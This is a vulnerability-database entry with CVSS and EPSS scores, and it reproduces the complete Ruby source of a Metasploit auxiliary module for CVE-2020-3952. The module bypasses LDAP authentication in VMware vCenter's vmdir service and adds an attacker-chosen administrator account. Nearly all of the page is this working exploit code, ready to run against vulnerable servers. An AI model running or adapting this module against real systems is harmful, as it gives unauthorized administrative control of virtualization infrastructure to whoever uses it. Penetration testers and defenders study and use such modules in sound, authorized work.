Lucene search

K
metasploitHynek Petrak, JJ Lehmann, Ofri Ziv, wvu <[email protected]>MSF:AUXILIARY-ADMIN-LDAP-VMWARE_VCENTER_VMDIR_AUTH_BYPASS-
HistoryApr 22, 2020 - 10:38 p.m.

VMware vCenter Server vmdir Authentication Bypass

2020-04-2222:38:11
Hynek Petrak, JJ Lehmann, Ofri Ziv, wvu <[email protected]>
www.rapid7.com
39

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.758 High

EPSS

Percentile

98.1%

This module bypasses LDAP authentication in VMware vCenter Server’s vmdir service to add an arbitrary administrator user. Version 6.7 prior to the 6.7U3f update is vulnerable, only if upgraded from a previous release line, such as 6.0 or 6.5. Note that it is also possible to provide a bind username and password to authenticate if the target is not vulnerable. It will add an arbitrary administrator user the same way.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::LDAP
  include Msf::Exploit::Remote::CheckModule

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter Server vmdir Authentication Bypass',
        'Description' => %q{
          This module bypasses LDAP authentication in VMware vCenter Server's
          vmdir service to add an arbitrary administrator user. Version 6.7
          prior to the 6.7U3f update is vulnerable, only if upgraded from a
          previous release line, such as 6.0 or 6.5.
          Note that it is also possible to provide a bind username and password
          to authenticate if the target is not vulnerable. It will add an
          arbitrary administrator user the same way.
        },
        'Author' => [
          'Hynek Petrak', # Discovery
          'JJ Lehmann', # Analysis and PoC
          'Ofri Ziv', # Analysis and PoC
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-3952'],
          ['URL', 'https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
          ['URL', 'https://github.com/HynekPetrak/HynekPetrak/blob/master/take_over_vcenter_670.md']
        ],
        'DisclosureDate' => '2020-04-09', # Vendor advisory
        'License' => MSF_LICENSE,
        'Actions' => [
          ['Add', { 'Description' => 'Add an admin user' }]
        ],
        'DefaultAction' => 'Add',
        'DefaultOptions' => {
          'SSL' => true,
          'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => []
        }
      )
    )

    register_options([
      Opt::RPORT(636), # SSL/TLS
      OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
      OptString.new('NEW_USERNAME', [false, 'Username of admin user to add']),
      OptString.new('NEW_PASSWORD', [false, 'Password of admin user to add'])
    ])
  end

  def new_username
    datastore['NEW_USERNAME']
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def base_dn
    @base_dn ||= 'dc=vsphere,dc=local'
  end

  def user_dn
    "cn=#{new_username},cn=Users,#{base_dn}"
  end

  def group_dn
    "cn=Administrators,cn=Builtin,#{base_dn}"
  end

  def run
    unless new_username && new_password
      print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')
      return
    end

    # NOTE: check is provided by auxiliary/gather/vmware_vcenter_vmdir_ldap
    checkcode = check

    return unless checkcode == Exploit::CheckCode::Vulnerable

    if (@base_dn = datastore['BASE_DN'])
      print_status("User-specified base DN: #{base_dn}")
    else
      # HACK: We stashed the detected base DN in the CheckCode's reason
      @base_dn = checkcode.reason
    end

    ldap_connect do |ldap|
      print_status("Bypassing LDAP auth in vmdir service at #{peer}")
      auth_bypass(ldap)

      print_status("Adding admin user #{new_username} with password #{new_password}")

      unless add_admin(ldap)
        print_error("Failed to add admin user #{new_username}")
      end
    end
  rescue Net::LDAP::Error => e
    print_error("#{e.class}: #{e.message}")
  end

  # This will always return false, since the creds are invalid
  def auth_bypass(ldap)
    # when datastore['BIND_DN'] has been provided in options,
    # ldap_connect has already made a bind for us.
    return if datastore['USERNAME'] && ldap.bind

    ldap.bind(
      method: :simple,
      username: Rex::Text.rand_text_alphanumeric(8..42),
      password: Rex::Text.rand_text_alphanumeric(8..42)
    )
  end

  def add_admin(ldap)
    user_info = {
      'objectClass' => %w[top person organizationalPerson user],
      'cn' => new_username,
      'sn' => 'vsphere.local',
      'givenName' => new_username,
      'sAMAccountName' => new_username,
      'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL",
      'uid' => new_username,
      'userPassword' => new_password
    }

    # Add our new user
    unless ldap.add(dn: user_dn, attributes: user_info)
      res = ldap.get_operation_result

      case res.code
      when Net::LDAP::ResultCodeInsufficientAccessRights
        print_error('Failed to bypass LDAP auth in vmdir service')
      when Net::LDAP::ResultCodeEntryAlreadyExists
        print_error("User #{new_username} already exists")
      when Net::LDAP::ResultCodeConstraintViolation
        print_error("Password #{new_password} does not meet policy requirements")
      else
        print_error("#{res.message}: #{res.error_message}")
      end

      return false
    end

    print_good("Added user #{new_username}, so auth bypass was successful!")

    # Add our user to the admin group
    unless ldap.add_attribute(group_dn, 'member', user_dn)
      res = ldap.get_operation_result

      if res.code == Net::LDAP::ResultCodeAttributeOrValueExists
        print_error("User #{new_username} is already an admin")
      else
        print_error("#{res.message}: #{res.error_message}")
      end

      return false
    end

    print_good("Added user #{new_username} to admin group")

    true
  end

end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.758 High

EPSS

Percentile

98.1%

Related for MSF:AUXILIARY-ADMIN-LDAP-VMWARE_VCENTER_VMDIR_AUTH_BYPASS-